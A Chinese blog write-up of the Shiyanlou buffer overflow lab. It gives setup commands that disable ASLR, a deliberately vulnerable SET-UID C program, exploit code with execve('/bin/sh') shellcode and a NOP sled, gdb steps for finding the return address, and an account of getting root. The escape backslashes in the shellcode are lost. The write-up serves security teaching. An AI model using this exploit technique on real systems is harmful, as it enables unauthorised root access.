zoukankan      html  css  js  c++  java
  • 实验楼 缓冲区溢出实验

    一、初始设置

    输入命令安装一些用于编译32位C程序的东西:

    sudo apt-get update
    sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
    sudo apt-get install -y python3.6-gdbm gdb
    

    过程很简单,我也就没截图

    关闭地址空间随机化

    sudo sysctl -w kernel.randomize_va_space=0

    用zsh替代/bin/bash

    sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit
    

    进入Linux32并使用bash

    linux32
    /bin/bash
    

    二、shellcode

    观察以下代码:

    #include <stdio.h>
    int main()
    {
        char *name[2];
        name[0] = "/bin/sh";
        name[1] = NULL;
        execve(name[0], name, NULL);
    }
    

    其汇编版本为:

    x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
    

    三、漏洞程序

    在/tmp目录下创建stack.c文件

    cd /tmp
    vim stack.c
    

    按i插入以下内容:

    复制代码如果出现缩进混乱可先在 Vim 执行 :set paste 再按 i 键编辑。

    /* stack.c */
    
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[12];
    
        /* The following statement has a buffer overflow problem */ 
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
    
        printf("Returned Properly
    ");
        return 1;
    }
    

    程序将读取一个名为“badfile”的文件,并将其内容装入“buffer”。

    编译该程序并设置SET-UID

    sudo su
    gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    chmod u+s stack
    exit
    

    四、攻击程序

    我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。

    在/tmp目录下新建一个exploit.c文件,输入如下内容:

    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[] =
        "x31xc0" //xorl %eax,%eax
        "x50"     //pushl %eax
        "x68""//sh" //pushl $0x68732f2f
        "x68""/bin"     //pushl $0x6e69622f
        "x89xe3" //movl %esp,%ebx
        "x50"     //pushl %eax
        "x53"     //pushl %ebx
        "x89xe1" //movl %esp,%ecx
        "x99"     //cdq
        "xb0x0b" //movb $0x0b,%al
        "xcdx80" //int $0x80
        ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
    
        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);
    
        /* You need to fill the buffer with appropriate contents here */
        strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
        strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }
    

    注意上面的代码,x??x??x??x??处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode);这一句又告诉我们shellcode保存在buffer +100的位置。下面我们将详细介绍如何获得我们需要添加的地址。

    获得shellcode在内存中的地址

    进行gdb调试

    gdb stack
    disass main
    

    结果如图:

    esp中就是str的起始地址,所以我们在地址0x080484ee处设置断点。

    地址可能不一致,请根据你的显示结果自行修改。
    设置断点,拿到str地址:

    # 设置断点
    b *0x080484ee
    r
    i r $esp
    

    我傻了,这一步我居然没截图。我的地址是0xFFFFD1C0,和实验楼给出的地址不一样
    把0xFFFFD1C0加上0x64,结果是0xFFFFD224
    现在修改exploit.c文件,将x??x??x??x??修改为计算的结果 x24xd2xffxff,注意顺序是反的。
    然后编译它:

    gcc -m32 -o exploit exploit.c
    

    五、攻击结果

    先运行exploit,再运行stack:
    whoami
    这个图里能看出来,我的地址是x24xd2xffxff

    成功拿到root!

    六、其他

    地址随机化

    使用如下命令打开地址随机化:
    sudo sysctl -w kernel.randomize_va_space=2

    再用exploit攻击stack,失败,不能取得权限

    重定向

    将/bin/sh重新指向/bin/bash(或/bin/dash),观察能否攻击成功,能否获得root权限。

    失败~

  • 相关阅读:
    php主要输出方式的区别
    文件操作
    会话
    Jquery常用函数及功能
    AJAX
    php 审核注册
    转载图片上传预览 代码
    php笔记-图片上传
    php 练习题-session与 cookie的 取值赋值
    php学习笔记-会话控制简单介绍session和cookie(一)
  • 原文地址:https://www.cnblogs.com/soujiokita/p/13797518.html
Copyright © 2011-2022 走看看